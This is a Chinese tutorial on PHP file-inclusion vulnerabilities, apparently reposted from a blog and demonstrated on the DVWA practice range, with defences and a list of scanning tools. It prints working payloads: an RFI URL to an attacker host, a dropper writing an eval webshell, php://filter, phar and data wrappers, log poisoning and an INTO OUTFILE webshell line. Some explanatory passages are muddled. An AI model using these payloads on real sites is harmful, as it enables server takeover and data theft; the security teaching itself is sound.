破解文件包含漏洞:实践技巧、案例分析和检测工具推荐

数据来源

部分数据来源:ChatGPT         

        本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。

01 文件包含漏洞概述

        文件包含漏洞是一种常见的安全漏洞,常出现在 Web 应用程序中。攻击者可以利用此漏洞将恶意代码注入到应用程序中,从而实现远程代码执行(Remote Code Execution,RCE)攻击。

        文件包含漏洞通常发生在应用程序使用动态参数来构造本地或远程文件名时。攻击者可以通过在参数中注入特定的字符串,使应用程序读取并解析恶意脚本,从而实现攻击目的。在 Web 应用程序中,这种漏洞通常出现在 PHP、ASP、JSP 或其他服务器端脚本语言中。

例如,在 PHP 中,当服务器端脚本包含以下代码片段时,就可能存在文件包含漏洞:

<?php $page = $_GET['page'];include($page . '.php'); 
?>
/*
include($page . '.php'); 是 PHP 语言中的一段代码。它的作用是将 $page 变量拼接上 .php 后缀,然后包含该文件。这里使用点号来连接字符串,是 PHP 中常用的字符串拼接方式。具体而言,当该代码执行时,PHP 解释器会首先将 $page . '.php' 表达式求值,然后将其结果作为文件名传递给 include() 函数。因此,如果 $page 的值是 "my_page",那么该代码实际执行的效果就相当于 include("my_page.php");。通过将变量与字符串连接起来,程序员可以根据需要动态地构造文件路径和文件名,并在代码运行时引入特定的文件。但是,如前所述,这样的代码容易受到文件包含漏洞攻击的影响,因此必须始终谨慎处理用户输入或外部数据,以防止恶意注入攻击。
*/

        在这个代码中,变量 $page 包含用户输入,未经过充分的验证和过滤即直接拼接到 include 函数里面。因此,攻击者可以通过像以下 URL 请求发送以下请求来引入恶意可执行代码:

http://example.com/mypage.php?page=http://attacker.com/malicious-code.txt

        在这个请求中,攻击者通过将远程恶意文件的 URL 添加到 page 参数中来注入恶意代码。而服务器端脚本会在包含文件时下载该远程文件并执行其代码,导致攻击者成功利用文件包含漏洞实现远程代码执行。

        因此,为避免此类问题,请始终对从外部来源到应用程序中的所有数据进行严格的输入验证和过滤,并尽可能避免直接在应用中包含不可信的文件。相反,您应考虑使用安全性更高的 API 函数,例如 require、require_once、include 或 include_once 等,并始终在调用这些函数之前进行充分的数据验证和过滤,以确保用户输入仅包含预期的数据。

简单例子

PHP中的文件包含函数

02 文件包含漏洞类型及利用

  

本地文件包含 -- 示例:(这里使用DVWA靶场做演示)

        1)包含系统文件

        首先要把靶场的安全等级调低 

        然后要配置一下我们的php的运行环境,因为我们选择“文件包含”这个选项是会提示有个php函数未定义。

        打开 php.ini,找到allow_url_include=Off 改为 allow_url_include=On

        下面这个就是靶场的文件包含页面,我们可以通过更改网站的URL路径访问本地的文件 

         将url路径后面的page改成page=C:/Windows/win.ini  (win.ini这个文件一般的windows系统都有)

        2)包含上传文件

        在www目录下有个phpinfo.php,内容很简单就一句代码:

# phpinfo是一个服务器的运行指令,可以显示php服务器的配置信息
<?php phpinfo();?>

phpinfo.php文件位置 

靶场的文件包含的文件位置

如果我们要在靶场的文件包含这里访问phpinfo.php文件,可以使用相对路径绝对路径

        相对路径:../../../phpinfo.php(../ 上一级目录)

        绝对路径:D:/phpStudy/PHPTutorial/WWW/phpinfo.php

        在这里其实我们访问的文件不一定就要是php文件,可以是txt、png之类的只要文件的内容符合php的语法要求都是会被当成php文件执行。 

        如我们可以建一个aa.txt文件,内容如下:

# phpinfo是一个服务器的运行指令,可以显示php服务器的配置信息
<?phpphpinfo(); 
?>

        访问 

敏感文件默认路径列举

本地文件包含漏洞利用方式

1)本地文件包含配合日志文件

        一般我们在网站的URL路径上的访问都是会被记录到一个日志文件如下:(默认情况下这个日志文件是没有的,我们需要手动开启日志功能

重启phpstudy,访问日志文件存在

        现在知道了我们访问的url会被网站记录下来,这样我们就可以在url上访问我们的后门代码,然后如果知道网站的日志文件的位置的话我们就可以直接使用文件包含执行我们的后门代码

<?php phpinfo();?>

        在靶场随便找个地方在url路径后面输入我们的代码,让日志文件记录

  

        我这里的代码被转码了,我看被人的使用文件包含访问不影响,我这里访问不了

解决方法:使用Burpsuite代理然后改包再重新发送。(参考)

日志文件这边保存的就是正常的代码了 

使用文件包含访问日志文件

        相对路径:../../../../Apache/logs/access.log  

        绝对路径:D:/phpStudy/PHPTutorial/Apache/logs/access.log  



2)利用file协议

3)利用php://filter协议

示例:

语法:php://filter/read=convert.base64-encode/resource=文件路径/名 

我这里直接访问www目录下的phpinfo.php的内容:

php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/phpinfo.php

这里拿到的文件内容是经过base64加密的我们要解密才能查看原来的内容,网上有很多在线解密的工具,我这里使用浏览器的插件Hackbar进行解密

4)利用zip:、bzip2:∥、zib;/协议

5)利用phar://协议

示例:

        创建一个phpinfo.txt文件,内容如下:

<?php phpinfo();?>

然后压缩 

 再把后缀名改成可以被网站接收的图片格式(png、jpg)

上传到网站

使用文件包含访问我们的图片

        完整链接:http://192.168.0.106/dvwa/vulnerabilities/fi/?page=phar://../../hackable/uploads/phpinfo.jpg/phpinfo.txt

我这里报错了,查一下百度,解决方案:php版本大于等于php5.3.0(来源),最后成功访问

远程文件包含漏洞

        1)包含远程文件,利用http协议:

示例1:(访问远程的文件)

访问:http://192.168.0.106/dvwa/vulnerabilities/fi/?page=http://192.168.0.106/phpinfo.php


 

示例2:(访问远程一句话木马,然后在服务器生成木马文件)

前提:把电脑一杀毒软件与自带杀毒功能关闭,不然我们的文件会被自动清理。

1、在www文件夹加新建一个.txt,内容如下:

<?php fputs(fopen("demo.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>

这句代码的意思是创建一个demo.php文件,文件的内容是:<?php eval($_POST["cmd"])?> 

2、使用文件包含我们的txt文件(http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/aa.txt

 去到我们靶场的文件包含的目录下就能看到我们生成的文件

3、使用菜刀连接我们的一句话马 

http://127.0.0.1/dvwa/vulnerabilities/fi/demo.php 

2)利用php://input协议

<?php fputs(fopen("up.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>

3)利用data://协议

示例:

在文件包含哪里输入:data://text/plain,<?php phpinfo();

本地文件包含绕过方式

本地文件包含漏洞是指攻击者通过注入恶意代码来劫持服务器上某些需要引用外部文件的程序,从而获得系统权限或敏感信息。

常见的绕过方式有以下几种:

  1. 文件路径截断: 通过使用 ".." 或 "%2E%2E%5C" 等字符折迭实现路径超出应用根目录读取上层目录文件。

  2. 组合攻击:使用分号、&&等符号,嵌套另一个 shell 命令执行进程。例如,在一个Windows操作系统下用如下SQL伪造语句可以创建一个新的PHP正模板:    SELECT '<?php eval($_POST['attack']); ?>' INTO OUTFILE 'C:\ AppServ \ www \ index.php';

  3. 变量篡改:注入 code 参数,将变量替换成对象,然后让PHP尝试显示特定文件时才提取该对象的 payload。

  4. Null 字节 (%00):在参数中使用 null 字节和其他字符串混合花样绕过实现对于 blacklist 文件的绕过攻击(如".php" 和 ".inc")并夺取 webroot 访问权限。

要避免本地文件包含漏洞被绕过,建议采取以下措施:

  1. 输入验证:在代码中使用输入验证机制,只允许合法、经过验证的输入值,同时禁止使用使用不安全的函数(如eval、include等)

  2. 规范化目录:规范化目录,基于绝对路径和真实文件名而不是使用其他相对或替代方案。确保文件包含限制仅限于遵循代码中指定白名单。

  3. 操作权限控制:在操作系统上设置合适的运行用户和组,并排除应用程序访问仅允许管理员或 Root 层级可见的敏感文件。

  4. 文件占据:减少系统本身对可疑文件的引用,通过检测程序是否具有所需的文件来保护自己的安全性。

最关键的进一步就是注重安全意识教育,尽早发现风险。注意获取黑客最新的攻击方式常规,及时利用工具排查,实施恰当的安全防护措施加强应用程序的保护。

远程文件包含绕过方式

        普通的远程文件包含漏洞是指攻击者可以通过应用程序的某个特定功能来引入并执行包含恶意代码的外部文件。

常见的绕过方式有以下几种:

  1. 使用编码和命名规则等技巧来混淆 payload ,欺骗服务器解析对应数据或伪造干扰口令,而导致服务器跳过相关输入验证。

  2. 显然,在一些情况下,攻击者所占据的用户权限非常有限,这时可以利用其他存在漏洞的应用负责做更高危的网络代理乃至其它跨越式攻击行为。

  3. 充分利用 PHP 自动包含函数的特性(例如file_get_contents(), curl, readfile()等),而注入参数中嵌入恶意代码。

  4. 在网络请求中使用相对路径,绕过服务器对应用根目录位置的保护。

要避免远程文件包含漏洞被绕过,建议采取以下措施:

  1. 输入验证:在代码中使用输入验证机制,只允许合法、经过验证的输入进入后台程序,同时禁止使用不安全的函数(如eval、include等)。

  2. 权限控制:设置严格的权限控制,确保没有以应用程序 or 访问者账户名和密码的形式披露敏感信息被开放。

  3. 加密措施:使用加密算法或其他安全机制保证数据传输和存储的安全性,提高攻击者入侵难度;

  4. 定期更新:及时更新应用程序和相关组件,避免应用程序版本过低、存在必要漏洞等问题给黑客留后门。

        最关键的进一步就是强化「安全意识」,注重系统漏洞排查测试。常见的攻击在于利用不察防范之下发起勒索软件攻击,从而使得系统被坑定并影响企业工作效率和数据安全。

03 文件包含漏洞危害及防御

        文件包含漏洞是一种非常危险的漏洞类型,攻击者可以利用该漏洞来访问系统上的敏感文件或执行任意代码。具体来说,攻击者可以利用文件包含漏洞来读取敏感信息如密码、数据库连接字符串等,同时也可能利用该漏洞在服务器上触发命令执行,最终使系统处于威胁之下。

为了避免文件包含漏洞对系统、应用程序和用户数据造成的潜在风险,以下是一些防御措施建议:

  1. 输入验证:严格限制所有输入内容,包括URL参数、POST请求、Cookie和HTTP头等,确保没有恶意的代码或字符被注入到服务器端。

  2. 白名单限制:尽量采用白名单机制,明确允许哪些文件、目录和通道进行访问。

  3. 参数加密:加密涉及隐私空间信息的传输参数,例如将所有POST请求作为键值对提交,客户端需要解密。

  4. 操作限制:取消服务端内部函数调用的接口和服务,设置系统内部路径不可达,并使用其他更加安全的方式储存文件和资源,例如只允许通过PHP中读取自己代码目录下的文件以防攻击者越过文件获取主机所有权限。

  5. 及时更新:对于库文件、开发工具和应用服务器等组件,及时进行更新,避免因软件爆出漏洞而被攻击者利用。

        综上所述,保障系统安全需要从多个方面入手,包括加强代码编写规范、限制用户输入以缓解恶意注入等,并要采取全面的做法减小风险。

04 在Kali中,常用的文件包含漏洞检测工具

在Kali中,常用的文件包含漏洞检测工具包括Nikto,w3af,Burp Suite,sqlmap和dotdotpwn等。

下面简单介绍一下这几个工具的使用方式:

  1. Nikto:输入命令“nikto -h [目标网站]”,该工具会对目标网站进行端口扫描,并输出网站信息及潜在漏洞信息。如果需要进行文件包含漏洞检测,则可以使用“- plugins vulnerabilities”选项。

  2. w3af:输入命令“w3af_console”,进入w3af控制台,然后输入“target set [目标网站]”来设置扫描目标。选择文件包含插件,如“file_inclusion”,然后启动扫描即可。

  3. Burp Suite:在Burp Suite中打开目标网站并进行代理配置,然后通过扫描器漏洞列表添加新的扫描任务,选择要测试的网站及测试类型,最后启动扫描即可。

  4. sqlmap:输入命令“sqlmap -u [URL]”,该工具将自动检测发现SQL注入漏洞,但也支持通过“-p”选项手动指定参数。

  5. dotdotpwn:输入命令“ ./dotdotpwn.pl -m ftp -h [目标IP] -f [要攻击的文件]”,该工具会对目标主机进行模糊测试并寻找文件系统漏洞。

需要注意的是,在使用这些工具时,需要掌握相关的技术和知识,遵循法律规定和道德准则,且必须先获得合法授权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/31218.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

危!「邪恶版」ChatGPT 出现:每月 60 欧元,毫无道德限制,专为“网络罪犯”而生?...

整理 | 郑丽媛 出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09; 近几个月来&#xff0c;伴随着 ChatGPT 的热度暴涨&#xff0c;OpenAI 也不断因 AI 的道德问题和数据安全隐患遭到多方质疑&#xff0c;甚至上周还受到了美国联邦贸易委员会&#xff08;FTC&#xff…

微信支付提示“交易已提交,请查询确认是付已扣款,避免重复操作” java

最近在做微信开发,之前一直支付成功,但今天不知道怎么回事,老提示"交易已提交&#xff0c;请查询确认是付已扣款&#xff0c;避免重复操作" 经过观察发现原来是小编在 这个地方多传递了一个带有表情的微信昵称 为了程序能够顺利进行,只好把客户的个性化名称给改变了,…

重复收到微信支付异步通知

微信支付的机制需要我们接收微信的异步通知&#xff0c;通过内网穿透工具注册域名后可以在本地接收到微信发来的异步通知。 wxPayConfig.setNotifyUrl("https://xzk.mynatapp.cc/pay/notify/");//接收异步通知 在控制层接收微信发来的异步通知 PostMapping("/…

钱扣了,订单却是未支付,用户炸了——聊聊如何防止支付掉单

大家好&#xff0c;我是老三&#xff0c;之前在 如何防止订单重复支付 里和大家聊过掉单导致的重复支付&#xff0c;这篇文章&#xff0c;我们来聊聊&#xff0c;如何防止掉单。 好好的支付&#xff0c;怎么就掉单了&#xff1f; 我听说过下单、买单、脱单……掉单是什么东西…

微信支付最佳实践-服务端如何防止重复支付

DUBBO之家 2023-01-10 14:01 发表于北京 点击上方 "DUBBO之家" 关注公众号 终身学习 技术干货 及时送达 往期回顾 这次彻底读透 Redis Java回调机制 概述 如图是一个简化的下单流程&#xff0c;首先是提交订单&#xff0c;然后是支付。支付的话&#xff0c;一…

如何防止订单重复支付

想必大家对在线支付都不陌生&#xff0c;今天和大家聊聊如何防止订单重复支付。 看看订单支付流程 我们来看看&#xff0c;电商订单支付的简要流程&#xff1a; 订单钱包支付流程 从下单/计算开始&#xff1a; 下单/结算&#xff1a;这一步虽然不是直接的支付起点&#xff0c;但…

重复付款异常到底该如何解决?一笔订单,但是误付了两笔钱!

重复付款异常 异常场景 重复付款异常一般常见于网银支付&#xff0c;微信支付&#xff0c;支付宝等这类需要跳转到一个支付网关页&#xff08;网银支付&#xff09;&#xff0c;或者跳转到钱包 APP(支付宝、微信)&#xff0c;从而异步完成扣款的支付场景。 这种支付场景下&a…

《GPT-4 ,通用人工智能的火花》论文内容精选与翻译

原文&#xff1a; 原文地址&#xff1a;Arduino中文社区 引言&#xff1a; 《通用人工智能的火花&#xff1a;GPT-4早期实验》是3月最重要的一篇论文&#xff0c;引起了广泛的关注和讨论&#xff0c;但是论文长达 154页&#xff0c;中文版本还无人翻译。 本文挑选了论文中的…

ICLR 2023 Oral | Batch Norm层等暴露TTA短板,开放环境下解决方案来了

关注并星标 从此不迷路 计算机视觉研究院 公众号ID&#xff5c;ComputerVisionGzq 学习群&#xff5c;扫码在主页获取加入方式 计算机视觉研究院专栏 作者&#xff1a;Edison_G 测试时自适应&#xff08;Test-Time Adaptation, TTA&#xff09;方法在测试阶段指导模型进行快速无…

TensorRT量化第二课:对称量化与非对称量化

目录 模型量化原理注意事项一、2023/3/30更新前言1.引出问题1.1 问题1.2 代码实现1.2.1 初始化输入数组1.2.2 Scale计算1.2.3 量化截断1.2.4 反量化1.2.5 完整代码 2. 非对称量化2.1 动态范围量化2.2 代码实现2.3 原理分析2.3.1 动态量化范围2.3.2 偏移量Z2.3.3 图例分析 3.对称…

领先的项目协作管理软件OpenProject

本文软件由网友 不长到一百四誓不改名 推荐&#xff1b; 什么是 OpenProject &#xff1f; OpenProject 是一个开源、基于 Web 的项目管理系统&#xff0c;提供了免费的社区版和收费的企业版。OpenProject 拥有完善的文档&#xff0c;API&#xff0c;及丰富的功能&#xff0c;可…

当我问ChatGPT,知识图谱在工程项目管理中有什么用

导读 知识图谱&#xff08;Knowledge Graph&#xff09;&#xff0c;在图书情报界称为知识域可视化或知识领域映射地图&#xff0c;是显示知识发展进程与结构关系的一系列各种不同的图形&#xff0c;用可视化技术描述知识资源及其载体&#xff0c;挖掘、分析、构建、绘制和显示…

私藏多年的vscode插件分享,让你成为一个高效开发的程序员

vscode插件就像手机里的应用商店一样&#xff0c;可以让我们在高效代码开发、为了美观的代码格式&#xff0c;可以更好的高逼格分享代码等系列功能&#xff0c;本文特意整理了艾编程老师多年来使用vscode的经验&#xff0c;整理的插件集希望对您有帮助&#xff01; 1、简体中文…

vscode插件(个人正在用的)

插件目录 any-ruleAuto Close TagAuto Rename Tagbackground-coverChinese (Simplified) (简体中文) Language Pack for Visual Studio CodeDebugger for JavaError LensESLintExtension Pack for JavaImage previewIntelliCodeIntelliCode API Usage ExamplesLanguage Support…

程序员请收好:10个非常有用的 Visual Studio Code 插件!

点击上方“小白学视觉”&#xff0c;选择加"星标"或“置顶” 重磅干货&#xff0c;第一时间送达 一个插件列表&#xff0c;可以让你的程序员生活变得轻松许多。 以下为译文&#xff1a; 无论你是经验丰富的开发人员还是刚刚开始第一份工作的初级开发人员&#xff0c;…

VSCode好用的插件

文章の目录 1、Chinese (Simplified) (简体中文) Language Pack&#xff08;汉化vscode 必备&#xff09;2、Bracket Pair Colorizer&#xff08;给代码中的括号添加亮色&#xff0c;便于区分&#xff09;3、Auto Close Tag&#xff08;自动补全标签&#xff0c;必备&#xff0…

30个实用VSCode 插件,让你的开发效率倍增!

1. Image preview 通过此插件&#xff0c;当鼠标悬浮在图片的链接上时&#xff0c;可以实时预览该图片&#xff0c;除此之外&#xff0c;还可以看到图片的大小和分辨率。 2. Auto Rename Tag 使用该插件&#xff0c;可以在重命名一个 HTML 标签时&#xff0c;自动重命名 HTML…

跟我做一个可以聊天的 Visual Studio Code 插件

你每天有在用 Visual Studio Code 吗&#xff1f; 根据面向程序开发人员的时间跟踪工具 WakeTime 统计 &#xff0c; 在 2020 年全球开发者使用 Visual Studio Code 的时间合共 1800 万小时 。这是一个非常惊人的数字 。 你有想过开发一个 Visual Studio Code 插件吗 &#xff…

vscode常用的9个插件,推荐给你们

1. Settings Sync 开发必备神器之一&#xff01;可以帮助你在不同的设备之间同步vscode所有的配置、插件&#xff01;&#xff01;! 虽然配置有好几个步骤&#xff0c;但是一旦配置好了之后使用非常的方便&#xff0c;只需要记住快速上传和快速下载的快捷键即可。甚至你可以选…

VS Code实用插件推荐

一、外观优化插件 1.1 Chinese 中文插件包&#xff0c;看起来清晰明了&#xff0c;安装完重启vs即可生效&#xff1b; 1.2 Better Comments 一款美化注释的插件&#xff0c;可以根据不同种类的注释&#xff0c;显示不同的颜色&#xff0c;一目了然。还可以通过扩展配置文件…